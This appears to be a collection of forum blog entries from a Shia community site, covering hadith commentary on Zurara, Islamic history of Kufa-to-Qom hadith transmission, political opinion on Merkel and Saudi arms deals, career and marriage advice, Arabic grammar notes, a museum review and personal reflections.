    This narration is important because it is the lens through which all the negative narrations about Zurara should be seen. The Imam explains his rationale for publicly cursing Zurara i.e. the Imam is defending his companion through Taqiyya.  As he notes, the enemy wishes to bring down everyone they draw near, a fate which he does not wish for Zurara. Zurara was particularly at risk because of how many narrations he had from them and how closely he was associated to them.

     

    Allah Majestic and Mighty says: “as for the boat then it belonged to the poor working at sea so I wished to damage it because there was a king after them who seizes every good boat by force” (18:79) … No by Allah! he did not damage it except that it be saved from the king and is not ruined in his hands. It was a ‘good’ boat which had no question of being defective Allah be praised, so comprehend the parable, may Allah have mercy on you!

    The Imam likens his act of criticizing Zurara to Khidhr damaging the fisherman’s boat, both seem ostensibly cruel on the surface but they are ultimately done to secure the very person they seem to hurting.

     

    … this is a revelation from Allah [including the word] ‘good’

    The Qira’a of the Ahlulbayt includes the word صالحة in the verse which is not there in our existing copies. This can be seen as an interpretive addition which happens to be quite straightforward and does not go against conventional understanding. This is also how Ibn Mas`ud and Ubay b. Ka`b read the verse [See Tafsir al-Tabari].

     

    You are by Allah! the most beloved of people to me and the most beloved of the companions of my father in my estimation both in life and after death. Indeed you are the best boat in that tumultuous and stormy sea, and there is a tyrannical and usurping king after you, keeping watch for the crossing of every good boat returning from the sea of guidance so that he can take it for himself and seize it and its owners, so may the mercy of Allah be upon you in life and His mercy and pleasure be upon you after death.

    This is the true status of Zurara in the eyes of the Imam. It becomes very clear that Zurara is the principal companion of al-Baqir and al-Sadiq and the closest to them. This tallies with the Madhhab’s conception of his status where he is seen as the greatest of their companions barring Muhammad b. Muslim which is arguable.

     

    Let not your heart constrict in grief if Abu Basir comes to you with the opposite of that which you were instructed by my father and by me, for by Allah! we did not instruct you and him except with an instruction that is fitting to act upon both for us and for you, and for each [instruction, even if seemingly contradictory] we have diverse expressions and interpretations which all agree with the truth. And if we were allowed [to explain] you would come to know that the truth is in that which we have instructed you.

    The Imam acknowledges a second problem which Zurara seems to have raised which is the Ikhtilaf [differences] of instructions which are attributed to them. The Imam accepts that these may indeed go back to them but notes that they have a reason for every instruction they give even if the companions cannot fully comprehend the reasons behind them. However, the Imam is very clear that despite the seeming diverse answers there is a way to reconcile them and all agree with the truth. 

     

    The one who has divided you is your shepherd who has been given authority by Allah over His creation. He [the shepherd] is more aware of what is in the interest of his flock and what can corrupt it. If he wishes he divides between them to safe-guard them, then he unites them once more so that it is secure from destruction and the fear posed by its enemy, in such a time as Allah permits, bringing it thereby safety from His place of safety and relief from Him. Upon you is to submit and to refer back to us and to await our affair and your affair and our relief and your relief. 

    The significance of these words of the Imam cannot be overstated. It reveals that the `Aimma would purposely teach different things to different Ashab aiming to purposely divide them. Elsewhere it is explained that they saw Madhhabic uniformity among their followers especially in rituals as being a distinctive marker that would make them a target. What the companions have to understand is that answering differently to different people is the prerogative of the Imam. No one can question this practice. What the companions have to do is submit fully to whatever they receive from the `Aimma and know that it has an explanation behind it for which the time is not ripe. All will be finally revealed when the time comes.

     

    However [if you do not submit wholly then], if our Riser were to rise and our Speaker speak and he recommences teaching you the Qur’an, the Laws of religion, the rulings and inheritance shares the way Allah revealed them to Muhammad the ‘people of insight’ among you will repudiate it on that day a bitter repudiation, then you will not remain steadfast upon the religion of Allah and his path except under the threat of the sword over your necks!

    If the companions cannot submit now, when they have lived through a chain of living Imams, then it augurs badly for the reaction of the self-appointed ‘people of insight’ who will be the first to line up against the One al-Sadiq calls ‘our Riser’ and alternatively ‘our Speaker’. When he comes back after a long period of occultation and recommences teaching them the religion as it is supposed to be the opposition to him from the Shia themselves be deafening! Those scholars who have cherished their dusty books will still cling to them even though the Imam who is the living embodiment of the Sharia is himself telling them otherwise.

     

    The people after the prophet of Allah were left to embark by Allah the same example as those who came before you, so they changed, altered, distorted, and added to the religion of Allah and reduced from it, consequently there is not a thing which the people are upon today [following] except that it is distorted when compared to that which was revealed from Allah. Respond then my Allah have mercy on you away from what you are calling for to what you are being called to, until comes the one who will renew the religion anew.

    Why did it have to come to this? This is the unfortunate consequence of the Umma betraying the will of the prophet. It has become utterly divided. Not having the correct leaders has meant that the authentic message of Muhammad has been irredeemably altered. There is not a single act of worship or belief that has been left un-corrupted because every middling scholar can peddle his interpretation. The temporal rulers are also more than happy to take advantage of the confusion and extend patronage to scholars whose interpretations were power friendly. The Imams themselves cannot openly propagate the actual version without repercussions.

     

    To be continued ...

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    WhiIe in the USA, Monday 29May17 is Memorial Day, in Europe, Sunday 28 May 2017 is a Memorable Day; the day German Chancellor Angela Merkel pronounced a new vision for Europe:

    Europe First and an implied "Make Europe Great Again".  An equivalent to the Trump "America First" and "Make America Great Again"

    While announced in a speech before a CDU [Christian Democrat Union] gathering in a tent, this is no circus from Bavaria. The European Union must now act primarily in its own interest without the UK because of Brexit and without the USA, Merkel proclaimed.  A new future that must be willing to accept Russia and -l think- by extension China's "Belt and Road".  http://www.mcclatchydc.com/news/politics-government/national-politics/article153130904.html entitled "Merkel: Europe must stay united in the face of ally uncertainty"; and, http://www.dw.com/en/merkel-europe-can-no-longer-rely-on-us-and-britian/a-39018097  The video will show the animosity, angst and acceptance associated with this new Europe First vision.

    For an article with anti-Trump subtext, Chicago Tribune, 28May17, "Following Trump's trip, Merkel says Europe can't rely on U.S. anymore"; http://www.chicagotribune.com/news/nationworld/politics Search title for article.

    CNN 2353hrs 28May17 posted a video of Merkel's speech.

    For a good quick background read, see:  https://www.theatlantic.com/international/archive/2017/05/trump-nato-germany/528429/ 

    To flesh-out the probable results of this Europe First vision in relation to the pipeline politics and objectives of our time, we can envision a Europe-Belt-and-Road (excluding the Ukraine and maybe also Turkey) and will include a Khoramshar-Karbala-with-or-without Kurds demarcation  line for the North, Central and East of Asia. This will be opposited by Eastern Mediterranean -Arabian axis in Southwest Asia. Countries positioned to make real money out of this are Poland and Belarus. The Baltic ports will also prosper.

    So, another die is cast.

    Looks like the World will return to a bipolar structure. The multipolar World as envisioned in the 1990s hasn't worked out.

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    :salam:

    Most of you must be aware of the recent $350 billion weapons deal between saudi and trump, out of which deals worth $110 billions will be with immediate effect.

    As expected the military-industrial-complex(hereafter referred to as MIC)-owned most of the mainstream media is jubilant. 

    In the words of trump-

    "Tremendous investments in the United States. Hundreds of billions of dollars of investments into the United States and jobs, jobs, jobs."

    Disclaimer- Trump, like almost all US presidents is merely a puppet, with more strings than an actual puppet. So I dont consider him to be very relevant. But the statement shows what the MIC wants the people to focus on.

    The whole exercise is nothing but a continuation of the US-Saudi policy of transferring the wealth from West Asia to the West in return for maintaining the saudi kingdom in its supposedly dominating position.

    Hejaz- The residence of the faithful

    Hejaz was supposed to be a place of refuge. It holds much more religious significance for the muslims than it has political significance for the MIC, the Saudis and their ilk.

    It was, and still is, supposed to be a place where any muslim from across the world can come and start living. And settle, if they wish to do so. This CANNOT HAVE BEEN RESTRICTED.

    Mecca, Medina, Jeddah and all the other religious places belong to the muslims and cannot be at the whims and fancies of some clan.

    The natural wealth, too, in and around these areas are to belong to all the muslims. The rulers are supposed to be the custodians, not owners, as is currently the case. At the most, they can take what they need and not what they want. 

    The trillions of dollars that they have extracted and squandered is wealth belonging to all the muslims who were driven out of these holy lands, who wished to settle there, but cannot due to the restrictions in place and the poor and the needy and the other deserving muslims across the world, who need to be bailed out.

    One can object that since Saudi Arabia is an "independent" country, they can run their affairs as they wish. They can spend and squander as they wish. They can purchase $10 trillions worth of weapons. They can completely stop immigrants. And they can throw out the shias and the non-compliant sunnis if they wish. They can dole out the crumbs to the Africans Muslims to fight their wars in Yemen and other places.

    My point is, Hejaz was never supposed to be a normal, usual, like any other country. It is a place with utmost religious significance for the muslims and the People of the book. It should have been a place of refuge for the poor and those driven out. A place for those looking for spiritual emancipation. For the ones looking who wished to visit the various houses of the towering figures islam- the Ahlul bayt and the righteous Sahaba. The center which redistributed wealth from the rich muslims to the poor. 

    And not be the extractor of muslim wealth and squanderer of haq of the muslims. Not to help bolster one of the most evil and hardcore anti-islamic forces, the whole gamut of the MIC, including its dutiful media. Not to support of the unjust system of the petro-dollar hegemony. Not to bribe the poor and malnourished nations with money to fight their wars against other weak nations. 

    Conclusion- The transfer of the haq of poor, needy and the deserving muslims and the money which otherwise could have been used to develop islamic cities, give citizenship to the refugees and any other muslim for that matter, create more STEM graduates among the muslims and the others and so on, is being used for an utter devastating effect. It is totally unfortunate, I and, i am sure that all the informed and religious muslims, are completely opposed to this initiative and wish that circumstances occur which will kill this deal.

    PS- The old timers will remember that in 2010, a weapons deal worth $60 billion was signed between the MIC spokesman Obama and the Saudis. It was a huge news back then and a great PR challenge for the MIC mouthpieces. So they focused on the 'iranian threat'. Now they have a buffoon as a president. They want to use it as an advantage. They want the people to think- He is a buffoon, so he does not know what he is doing, cant blame him, there is no one to blame and no need to do so. Focus on jobs, people (happy face).

  6. Haji 2003
    Latest Entry

    The man was a background celebrity in my childhood. His name had become synonymous with martial arts, but I don't think I've seen any of his movies. Anyway, I had a spare couple of hours to kill in the Tai Wai district of Hong Kong and saw signs for the Heritage Museum, so I thought I'd pay a visit.

    It says something about Hong Kong that such a rich colony only got such a museum well after the British left.

    This special, temporary exhibition is really well done, it takes up one of the three floors of the museum. It charts Bruce Lee's childhood (born in Hong Kong and then emigrated to the U.S.) and shows how his career developed. You get to see all the equipment he trained with and even more interestingly the books that he read. That was a real eye-opener. There are texts on Chinese history and philosophy as well as ones on business and personal success. You get a real feel for someone who wanted to develop himself physically, spiritually and focus that on building a business. He developed his own martial art and there are notes about what ideas underpinned this.

    It gets better. The exhibition documents how we used his martial arts expertise to train Hollywood stars and get into that industry. There are beautiful, directorial handwritten notes he made on how he wanted his movies shot. His sketches of fight sequences reminded me of Rodin. He was also a prolific letter writer and you get some feeling for his networking through his communications. I understand that he's revered, almost worshipped in some parts, obviously, he was much more than many of today's athletes.

    He died young and there is some controversy about his death and I've read on Quora that he must have been taking steroids, which wasn't illegal in those days.

    It's a really neat exhibition and given its high production values I guess it will be touring various other museums around the world at some stage.

  7. :bismillah:

    :salam:

    A strong person will overcome an obstacle. A wise person will traverse the whole path. (Sometimes, letting go is a better option than to tackle the problem head on. As they say, care is better than the cure)

    A small cottage, wherein laughter lives, is worth more than a palace full of tears. (It's not about how big the house is, it's about how happy the home is. Happiness never comes from having more but being among the ones that cherish you, love you and care about you. Time passes, you lose the things you were once so attached to but the memories remain and so do the people, in our hearts)

    Always safeguard peace and quiet. When the time is right, the flowers will bloom. (Patience always brings about good tidings. If you're patient enough, you'll get the best. Learn to wait, because things happen when they're meant to be. Everything has a special time and a special place)

    Even idiots have their own foolish form of happiness. (Happiness can be found anywhere. Doesn't matter who you are, if you're willing to look at the positive aspects of life, you'll find happiness in little things)

    If you trip and fall, it doesn't necessarily means that you are going in the wrong direction. (Just because you find hurdles in your way, it doesn't mean that you aren't meant for that path. Difficulties always comes for those willing to seek greatness)

    If you wait by the river long enough, the bodies of your enemies will float by. (If you be patient and endure the pain your enemies give you, there will come a time when you will be victorious. Patience is the key to one of the greatness things in the world and the hereafter. Never underestimate the power of patience and Dua'a)

    Always look on the bright side of things. If you can't comprehend this, polish that which has dulled until it begins to shine. (Every dark cloud has a silver lining. You may seem hopeless at some point but try to look at the positive side of what has happened. If you can't, look at what the positives the trouble brought you. Remember: There's always balance in the world. When you lose something, you gain something. It may take time for you to see it but the great things always take time. Those things are reborn in a different form and are returned to you when you are ready)

  8. Salaam.

    As someone who has seen a little bit of success in the corporate world, I would like to take this opportunity to offer career advice to college-going and recent graduates of ShiaChat who are about to embark on their careers.

    01) Don't start planning and looking for a job when you have less than 2-3 months left of college. Job-hunting begins when you have about a year left to graduate. Identify companies you would like to work for; try to network with people to belong to these companies.

    02) Create a LinkedIn Profile and keep it updated. Try to connect with people in Talent Acquisition (TA) within the companies you are interested in working for.

    03) Inquire about internship opportunities within these companies even if the internships are unpaid. The experience and networking opportunities should be well worth it.

    04) Career planning does not mean looking for your next job. Career planning is planning for your last job before retirement and then working your backwards to your current position. This leads to an important exercise. You have to ask yourself - "Where do I want to be in 45 years?" (45 years if starting career around 22 and working until 67). If you don't know, then work on it -  think about it, evaluate your degree and see if it will help you, look at successful people with your degree. How far did they get in their careers?

    05) Once you've figured out where you would like to be in 45 years, work your way backwards in 5 year intervals to different positions you will need to hold in order to get to the next level. Let's take an example within IT. You are 22 and graduating today with a degree in programming and plan to retire as CIO. Career planning would go something like:

    • CIO (62 - 67)
    • IT Director (56 - 61)
    • Senior Manager (50 - 55)
    • Department Manager (44 - 49)
    • Project Manager (38 - 43)
    • Team Leader (32 - 37)
    • Programmer Analyst (27 - 21)
    • Programming Specialist (22 - 26)

    It is important to note that first position and last position should be fixed. You should be flexible about all other positions in between. When evaluating new job opportunities, the first question you should ask is whether the new position will help you get to your end goal or not. If not, look elsewhere.

    06) I mentioned 5 year intervals. If you are stuck in the same position for 5 years, then your career has become stagnant. Ideally, you should receive a promotion every 2.5 years or so. This does not necessarily mean a title change as much as increasing and/or different responsibilities.

    07) Don't change jobs too frequently (every 18 months or so). It looks bad on a resume.

    08) Don't be afraid to move laterally if it will help your end goal. Example, if you are stuck as a PM in a company and you know there is no upward mobility, then it is okay to find a PM position in another company if there is chance for growth.

    09) For the most part, your degree will only help you get your first job. After that, it's what you make of yourself.

    10) Never leave a position on bad terms. The corporate world is a lot smaller than you think.

    Most people think of the corporate ladder as a straight ladder bottom to top. A more appropriate description is that a corporate ladder is more like a Donkey Kong Maze:

    590b9a16a05b2_DKMaze.jpg.852b1aff12689568224995d5f79d46c9.jpg

    You have to navigate your way through the stumbling blocks to reach the top.

    "Where do you see yourself in 5 years?" is a very common interview question. You are almost guaranteed a job if this question is asked and you tell them that you have planned your career until retirement nad explain how this position would help you get there.

    I hope this helps. Feel free to reply here with questions or PM me. But my first question back will be "Where do you see yourself in 5 years?"

     

  9. Marriage is not easy. You have to get to know each other. You are used to doing everything your own way. Now you need to compromise. Share with each other. Give and take. If you take more than you give, it won't be as sweet. Do not expect more from your spouse than your spouse will need from you. Life is good. It's better when you are together. If you both do your best. 

     May your days be sunny, your nights restful, and your heart satisfied with the blessings that Allah has given you. Think Positive. 

  10. Original full post: http://www.iqraonline.net/the-transfer-of-kufas-hadith-heritage-to-qom-history-of-imami-shii-theology-5/

    During the Imamate of Imam Baqir (s) and Sadiq (s), there was a lot of encouragement from the Imams to their students and companions to begin recording down traditions. As this shift from oral to a written tradition became a culture amongst them, there was naturally a large output of written works over the next century. Kufa being the hub for Shi’i activity naturally possessed the most written works at the time.

    As scholars from Qom would initially travel to Kufa to acquire traditions of the Imams from the various scholars and companions that resided there, the tables would eventually turn as Kufa’s scholarly circles began to diminish and its heritage began being transferred to Qom. Scholars who played a role in transferring this heritage to Qom include personalities such as Muhammad bin Khalid al-Barqi, Husayn bin Sa’eed al-Ahwazi, Ahmad bin Muhammad bin ‘Isa al-Ash’ari, Ibrahim bin Hashim and others. To analyze this phenomenon in a little more detail, bibliographical works are utilized to see how books were being moved around from one place to another.[1]

    Muhammad bin Khalid al-Barqi and his son Ahmad bin Muhammad al-Barqi are two other individuals who played a role in this transfer. Most of their teachers appear to be from Kufa, whereas their students appear to be from Qom. Both father and son also seem to have traveled to Kufa like Ahmad bin Muhammad al-Ash’ari and tooks narrations from there and then returned back to Qom to transmit them. Muhammad bin Khalid al-Barqi seems to be the earliest person to have brought over some of the Kufan hadith heritage to Qom. However, he does not seem to have very cautious in who he would take narrations from and was accused of even narrating from weak narrators.[2] There are also hardly any traditions that he narrates from reliable scholars such as Hasan bin Mahbub or Ibn Abi ‘Umayr. This eventually even leads to Ahmad bin Muhammad al-Ash’ari (the next scholar) exiling Muhammad al-Barqi out of Qom.

    Ahmad bin Muhammad bin ‘Isa al-Ash’ari who was one of the greatest scholars of Qom during his time, played a great role in bringing over the Kufan heritage by traveling to Kufa himself. Some of the works that he was able to bring back to Qom with himself were the book of ‘Ala bin Zarin, Aban bin ‘Uthman al-Ahmar, Ahmad bin Muhammad bin Abi Nasr al-Bazanti, Hasan bin Mahbub al-Kufi, Hasan bin ‘Ali bin Fadhdhal, Safwan bin Yahya al-Bajali, ‘Abdul Rahman bin Abi Najran, ‘Ali bin Hadid al-Mada’ini, Ibn Abi ‘Umayr, Muhammad bin Ismail bin Bazi’, and Muhammad bin Sinan Zahiri.

    What is of interest here is that the books Ahmad was bringing with him were those that were famous, well-known and reliable works within Shi’i scholarly circles. This indicates that Ahmad was very cautious of the narrations he accepted and transmitted, and we see this translating into him exiling many narrators from Qom (like the aforementioned al-Barqi) who he found to be narrating from weak narrators.

    Husayn bin Sa’eed bin Hammad bin Sa’eed bin Mehran al-Ahwazi was another Kufan scholar who played a role in bringing over some works to Qom. Him and his brother Hasan first leave Kufa and travel to Ahwaz and then migrate to Qom. They bring with themselves the works of Rib’iyy bin ‘Abdillah al-Basri, Shu’ayb al-‘Aqr Qufiyy, Hamid bin Muthanna, Qasim bin Muhammad Jawhari al-Kufi, Qasim bin Sulayman al-Baghdadi, Qasim bin ‘Urwah al-Baghdadi, Hariz bin ‘Abdillah al-Sijistani, Zur’ah bin Muhammad al-Hadhrami and more. Husayn also brings with himself thirty of his own written works to Qom and transmitted them to various students.

    Abu Ja’far Muhammad bin ‘Ali bin Ibrahim bin Musa al-Sayrafi – known as Abu Sumaynah, a Kufan narrator who was eventually exiled from Qom by Ahmad bin Muhammad as well, brought with him the book of Ishaq bin Yazid bin Ismail al-Ta’i, some books of Ismail bin Mehran bin Abi Nasr al-Sakuni, book of Hafs bin ‘Asim Salami, book of Sulaym bin Qays, book of Salam bin ‘Abdillah al-Hashimi, book of Haytham bin Waqid Jazari, book of Abu Badr al-Kufi and the book of Nasr bin Mazahim al-Kufi. He will be referred to again in a later post when we discuss the phenomenon of certain narrators being exiled from the city of Qom.

    Muhammad bin ‘Abdul Jabbar al-Qumi – known as Ibn Abi al-Sahban, a companion of Imam Jawwad, Hadi, and ‘Askari. He was also one of those scholars who traveled to Kufa and brought back with him some of Kufa’s hadith heritage. His most important teachers in Kufa were Safwan bin Yahya, Muhammad bin Ismail Bazi’, and Hasan bin ‘Ali bin Fadhdhal. It doesn’t seem like he had any book of his own, and was merely recognized as someone who was able to transfer over some of the hadith works from Kufa to scholars in Qom. Most of his narrations in Qom are narrated by Ahmad bin Idris, ‘Abdullah bin Ja’far al-Himyari, Muhmmad bin al-Hasan al-Saffar and Muhammad bin Yahya al-‘Attar.

    Perhaps the most prolific scholar who is renowned for bringing much of Kufa’s hadith heritage to Qom is Ibrahim bin Hashim. He is remembered as the first scholar to bring Kufa’s hadith to Qom and to have spread it. Some of the works he brought with him were: the Asl of Ibrahim bin ‘Abd al-Hamid, books of Ismail bin Abi Ziyad al-Sakuni, books of Hariz bin ‘Abdillah al-Sijistani, book of ‘Abdullah bin Sinan, books of Ibn Abi ‘Umayr, books of Muhammad bin Ismail bin Bazi’, Asl of Hisham bin Salim, some books of Mufadhdhal bin ‘Umar, book of Zayd Narasi, book of Sulaym Farra’, book of Yahya bin ‘Imran bin ‘Ali bin Abi Shu’ba al-Halabi just to name a few.[3]

    For at least the next 150 years, Qom would become the most important city when it came to Shi’i theological discourse. Eventually much of Qom’s hadith heritage does return back to Iraq, to the city of Baghdad when the likes of Shaykh Mufid begin gaining authority.

    With regards to the topic of Kufa’s heritage moving over to Qom, Ibrahim bin Hashim is notably remembered by multiple scholars as being the first person to spread the hadith of the Kufans in Qom was him.[4] However, when we look at the list above, we see that Muhammad bin Khalid al-Barqi, Husayn bin Sa’eed and Ahmad bin Muhammad bin ‘Isa were all scholars who had already brought with them a lot of traditions from Kufa much before Ibrahim bin Hashim. So why is it that the latter scholars gave this honour to Ibrahim rather than those who were prior to him? There could be a few possible reasons for this and a closer look at the other three scholars may help us in determining this.

    One thing to note is that the attribution given to Ibrahim bin Hashim is that the works he brought to Qom were widely-spread, not that he merely transmitted them or passed them down to his students. That being said, when we consider al-Barqi, it is known that one of the reasons he was exiled from Qom by Ahmad al-Ash’ari was because he would narrate from unknown or weak people. This would have been enough of a reason for many of the scholars of Qom to act cautiously with regards to his narrations, leading to his narrations not having spread to such an extent where it would be deemed as spreading the Kufan heritage. Some have suggested that it is possible al-Barqi may have returned back to his own town on the outskirts of Qom called Barqah-Rud, and that would have been a plausible reason why his ahadith did not spread in Qom – however this seems far-fetched, simply because Qom seems to be the most sensible location for a scholar of hadith to have returned back to, and also when we see that Ahmad al-Ash’ari exiled him from Qom it indicates that he was in Qom to begin with.

    As for Husayn bin Sa’eed, he had thirty of his own written works in Kufa which he brought with him to Qom. His main focus had been to spread these narrations which he had compiled himself, and not the rest of the heritage he had brought with him. Furthermore, Husayn bin Sa’eed did not live too long after coming to Qom, dying a short while after, which could mean that he simply didn’t have enough time to spread and transmit all the works he had brought with him to such an extent that would merit him the status of being the first one to widely-spread the heritage of Kufa in Qom.

    When it comes to Ahmad bin Muhammad al-Ash’ari – who was also the authority in Qom – it seems that there may been another reason he is not given this description. He not only had more of an opportunity to widely spread the heritage of Kufa that he had brought back with him to Qom, but he also had many of the same teachers as Ibrahim bin Hashim and both were living during the same era. The one factor that could have caused the scholars to still give Ibrahim bin Hashim the credit for spreading the heritage of Kufa in Qom the fact that Ibrahim was someone who was brought up and raised in Kufa, whereas Ahmad was originally a scholar of Qom. In other words, Ibrahim was the first Kufan scholar who have come to Qom and have the Kufan heritage widely-spread in the city.

    Another side point that should be mentioned here is that Ibrahim bin Hashim is credited for carrying over the theological teachings of the school of the great theologian and companion Hisham bin Hakam from Kufa to Qom as well. Ibrahim bin Hashim is claimed to have been the student of Yunus bin ‘Abdul Rahman who himself was one of the strongest students of Hisham bin Hakam. Whether Ibrahim was indeed a student of Yunus or not is disputed as there is no narration which Ibrahim narrates directly from Yunus (as is the natural case in a student-teacher relationship), and every narration from Yunus appears to have an individual between them. Nevertheless, Ibrahim does seem to have been influenced by this school of thought, and likewise his son Ali bin Ibrahim who will be discussed in a later article as well.

    This is important to know because figures such as Ahmad bin Muhammad al-Ash’ari and many later Qom scholars were staunchly against some of the theological ideas of Hisham bin Hakam, and had even written books against him and Yunus bin ‘Abdul Rahman. Despite this, they were still welcoming of Ibrahim bin Hashim and his narrations which indicates the level of trust and respect Ibrahim must have had in the city of Qom.

    ————————————–

    [1] One of the works I have heavily relied on for this blog post is the research paper: Sayr-e Intiqal-e Mirath-e Maktub-e Shi’eh dar Ayeneh-ye Fihrist-ha written by Ruhullah Shaheedi and Dr. Muhammad Ali Mahdawi-Raad.

    [2] Al-Fihrist of Shaykh Tusi, pg. 52

    [3] Refer to Najashi’s al-Rijal and Shaykh Tusi’s al-Fihrist. About 19 more works can be found in Shaykh Tusi’s al-Fihrist and 3 more in Najashi’s al-Rijal.

    [4] The famous line as recorded in Najashi’s al-Rijal is this: أصحابنا يقولون: أوّل من نشر حديث الكوفيين بقم, هو (Our scholars have said: The first person to spread the hadith of the Kufans in Qom, was him)

  11. A placeholder for the second chapter, summarising my research findings into the decline of Shi'i Intellectual thought production, which will focus on:

    - how the 'chain/sanad' method contributed to this decline,  killed off any hope of academic revival ,and dumbed down the level of scientific research within the Religious seminaries. 

    - the foremost scholar to establish this method of eliciting religious rulings and verifying narrations  (knowingly or unknowingly) - S AbulQassim alKhoei, may God bless his soul,and the people who followed his method after him.

    I want to be absolutely clear that my research focuses entirely on the methodologies used by these different currents (Akhbaris/Usoolis etc), and not the individuals who became famous as a result of it. 

     

  12. Bismillah

    Salam

    Here are some thoughts and updates about how my coloring page is coming along.

    - It had some momentum at first... I was averaging 1 finished coloring page a month. Now it's been like 5+ months and nothing... I just feel like I have little time and even littler inspiration these days. Deep down I am still passionate about the idea... but it doesn't manifest itself. 

    - I hired my niece a few months ago to help me produce more pages more quickly and offer a variety of styles. She is an artist herself, so the idea was that she can come up with sketches/ designs, send them to me, and then I turn them into a finished coloring page. She gets $5 per finished design and a % of every sale of that coloring page. She did do one for me so far, but she is very busy as well so I understand if she can't produce much. (Anyone else interested?)

    - I actually am working on a design right now. I am excited about it, I think I will like how it comes out when finished. Probably because it is based off of one of my old (and favorite) paintings. 

    - I learned that I am absolutely terrible at promoting myself. I just don't like it. I even made an Instagram because I heard that it's good for this type of stuff, but I dislike posting. I'm very shy and hate attention. Hmm... how will that work with my entrepreneurial side? 

    - I've made 8 sales in all. Every time I get an email saying I made a sale, I get so happy! Even though I literally make pennies off of every sale lol. But that's fine, I don't do this for the monies. 

    I think that's all for now. Here are the 2 coloring pages that I have completed since my last blog. 

    icecreamgirlssmall.thumb.jpg.59b2ae1e2eb225780222a9039f898ad5.jpgtreesandflowersmall.jpg.67a8de06b49bef5a60c4e3c7fb7f3e5f.jpg

    Link to shop: https://www.etsy.com/shop/TzahArt

  13. :bismillah:

    Characteristics of the اسم (Noun)

    Ibn Hisham says:

    فاما الاسم فيعرف: بال كالرجل, والتنوين كرجلٍ , وبالحديث عنه كتاء ضربتُ

    The Ism is known by one of three characteristics: By being proceeded by ال, by التنون (nunnation), and by being talked about. The first of these is a characteristic at the beginning of the Ism, the second is at the end, and the third is one of meaning. It suffices for a word to have one of these for it to be a noun.

    Ibn Hisham then goes on to categorise nouns as either معرب (declinable) or مبني (indeclinable).

    The Mu'rab is that which has an ending that changes because of various different operators acting upon it. The Mabni is that which does not change but is fixed. Most nouns in Arabic are Mu'rab. Ibn Hisham therefore proceeds to discuss those that are Mabni.

    The Mabni nouns can be put into four categories as follows:

    المبني على الكسر

    He further subdivides this section into those words regarding which there is agreement, and those that are contentious.

    There is no disagreement amongst Grammarians that هؤلاءِ is Mabni 'AlalKasr. But there is disagreement regarding others, including أمسِ and حذامِ

    المبني على الفتح

    احدَ عشرَ and its sisters fall into this category, excluding اثنا عشر

    المبني على الضم

    The examples he gives here are the six directions: وراء امام فوق تحت يمين شمال and also قبل , بعد, اول , دون.

    He discusses قبل and بعد specifically in detail, and here is gets more complicated. These words are mu'rab in 3 cases, and mabni in 1. They are mabni if the مضاف اليه is deleted, but the meaning is intended, for example in Surah Aroom v4.

    As far as I can tell, what applies to قبل and بعد above also applies to the six directions.

    المبني على السكون

    He gives the examples of كمْ (How many?) and مَنْ (Who?).

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    58b78243cb823_bismillahziba.jpg.f2d3b0a2f8be48d4773846de37c2a59e.jpg

     

    :salam:

     

     

    Writing well is hard, but writing is even harder. So I have come back to bring back the cravings we can all associate with this forum. The need to sit down and compose. Either somebody needs to know the truth but is incapable, so we are called upon by the 'inner voice' to set them straight. Or we are bored and so is somebody else and two is all you need for a tango of words. Now the urge is easy to feed but difficult to purge. Having purged it, however, I am immune from that inner voice and boredom no longer brings me here. So why am I here? To write what I feel needs to be written, and nothing churns out letters faster than the sensation of sharing a piece of yourself. Sharing is the soul of relationships and relationships are the sole escape from loneliness. First God, then believers in God - love Him and then thy neighbour in faith - and we shall have lived.

    God knows, others know, and you may know that I am a young father blessed with daughters, the eldest who is only just beginning to read and write. Alhamdulillah.Young but aware of the storms that sweep through the modern world and lay it bare of virtue, with my dwelling in the West, and some say the East is fast collapsing too, I have begun to fear for generations yet to come, and for my progeny yet to see the light of day. Were we not told in bygone times of nights in which believers sleep and wake as unbelievers? How should I appear on that fearful Day should I be father to thankless sons and faithless daughters? Perish the thought, and prithee, Lord, perish the very possibility!

    Doubts grow like weeds, certitude wanes, everything holy recedes. The city of opinion is a metropolis now, and every half-wit peasant claims a right to believe - or disbelieve. Scholars are isolated and scholarship is in disarray as the secular floods society with freedom - and unfreedom. We were forewarned of a Great Confusion, a Heera, but up until now the Ghayba was a man stumbling in darkness and ignorance, lost in a town. Today the man is lost in the Sahara, in the daylight of science and the white heat of technology, without a holy star in sight to be guided by. 

    We have only with us an ancient astrolabe, covered with rust from non-use, rickety from abuse, but the only compass in a sea of sand and illusion. And we have with it a lore of how to read it, by my lords who knew best how to handle it. My daughter, I should like to say, here is the astrolabe which God revealed in sweet Arabic, and here the words that teach the way to make it work, and bequeath this to your children as I have bequeathed it to mine. With it, pass through the Sahara with her sandstorms and ignore her illusory temptations, until you arrive at the oasis that your forefathers have promised you, and may you meet them beneath the shade and by the pond.

    These are then letters to my daughter who will not read them for a long while, and may not see the reason for such solemnity until she is a mother herself, Godwilling. But I write what I think I need to write, and share with you the passions of a man who loves to see his child live her eternity in God's paradise. 

    Today is a good day to begin this blog. It is 3rd of Jamaadi al-Thaani, a date on which by some account the sweetest of daughters, the highest of ladies, the purest of women, followed the footsteps of her father to the undeserved grave very fast. Has a father known so deep a daughter's love, or a daughter a father so impatient to meet her? Has kin ever been so close and life so cruel? 

    That noble father sent her the glorious gift of the Tasbihaat, a treasure ever since for the followers of the House. I emulate his example and send a gift to my rosebuds who will grow by the grace of God and by His guidance wear the scent of heaven and be raised from the earth as roses to bloom in the gardens of bliss.

    These letters that I send compose together a commentary on the finest verse of the Koran. Shall I then strike a similitude? A necklace bejewelled by gemstones that lie scattered in our hallowed books; it is stringed by the silken tones of the Arabic tongue; from it hangs a locket of exquisite artistry, fashioned by the Hand of God Himself; in that locket is a liquid; that liquid is an aromatic oil; that oil is distilled from the sweetest musk of the Far East and and the damask rose of the West, which trains of camels have borne through desert sands in caravan trails and brought to Arab hands; every reach of the world is distilled in this Arab Word, and this is a verse, and every verse is sweet, but the sweetest that comprehends them all is bismillahirrahmanirrahim :bismillah:.

    And that is why my daughter, you should not be sad not to wear the scent on the streets where strangers walk about. For you will see, as the Sunna shows, that any neck laced by the bismillah is graced with all the perfumes of Arabia.

     

    3rd Jamadi al-Thani

